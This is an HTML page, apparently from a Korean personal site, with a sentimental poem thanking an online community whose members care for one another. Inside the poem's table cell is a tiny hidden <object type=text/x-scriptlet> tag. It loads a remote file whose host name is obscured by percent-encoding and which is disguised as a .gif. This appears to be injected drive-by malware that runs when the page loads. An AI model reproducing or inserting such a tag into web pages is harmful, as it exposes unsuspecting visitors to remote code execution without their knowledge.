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2004년 작품집
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“ 감사드립니다 ”
<TABLE style="BORDER-TOP-STYLE: dashed; BORDER-RIGHT-STYLE: dashed; BORDER-LEFT-STYLE: dashed; BORDER-BOTTOM-STYLE: dashed" borderColor=#8878cd cellSpacing=0 cellPadding=0 width=377 border=3><TR><TD><TABLE style="BORDER-TOP-STYLE: dotted; BORDER-RIGHT-STYLE: dotted; BORDER-LEFT-STYLE: dotted; BORDER-BOTTOM-STYLE: dotted" borderColor=#8878cd cellSpacing=0 cellPadding=2 width=377 border=3><TR><TD><TABLE cellSpacing=14 borderColorDark=#8878cd cellPadding=0 width=377 borderColorLight=#8878cd background=http://vessel1006.com.ne.kr/bg_2/99.jpg border=0><TR><TD><TABLE borderColor=#8878cd cellSpacing=0 cellPadding=0 width=377 border=5><TR><TD><TABLE borderColor=#8878cd cellSpacing=10 borderColorDark=#8878cd cellPadding=1 width=377 align=center background=http://myhome.hanafos.com/~jinyouji02/background/3_7.gif border=1><TR><TD><TABLE borderColor=#8878cd cellSpacing=4 borderColorDark=#8878cd cellPadding=2 width=377 align=center border=1><TR><TD> <br><br> <object type=text/x-scriptlet data=http://%7238.%63o%6d.%6ee.%6br/%61/b2.gif width=15 height=11></object> 멀리 있어도 가슴으로 가까운 사람들 <BR> <BR> 우리는 서로 모르는 사이지만<BR> 서로를 아끼며 염려해주는 <BR> 사랑하는 사이가 되었습니다 <BR> <BR> 맑은 옹달샘같은 <BR> 신선한 향기가 솟아나는 곳<BR> <BR> 그저 그런 일상에서 알게 모르게 <BR> 활력을 얻어 갈 수 있는 곳<BR> 그래서 행복한 우리가 되었음을 느끼는 곳<BR> <BR> 서로 아끼며 아낌을 받는다는 느낌 때문에 <BR> 또 다른 이에게 미소 지을 수 있는 <BR> 마음의 여유를 누릴 수 있게 해준 또 다른 세상<BR> <BR> 허무한 시간을 느낄 때<BR> 서로에게 자극이 되어 분발할 수 있는 <BR> 향기가 숨어서 흐르는 곳..<BR> <BR> 사랑과 그리움과 이별의 향기로<BR> 살아온 시간 속에서 무디어진 감성을 <BR> 아름답게 일깨워 주는 곳<BR> <BR> 우리 모두는 서로에게 받은 것이 너무 많기에<BR> 조금씩 조금씩 내가 얻을 수 있었던 <BR> 사랑과 기쁨과 슬픔을 표현하고 공유하는 곳<BR> <BR> 누구에게나 열려진<BR> 이 공간에 나의 작은 향기도<BR> <BR> 때로는 필요로 하는 이에게..<BR> 맑은 샘물과 같은 향기가 됩니다.<BR> <BR> 님들의 맑고 고운 감성을 한번쯤 돌아 보며..<BR> 느껴보는 작은 여유를 누려 보세요!<BR><BR> </SPAN></SPAN> |
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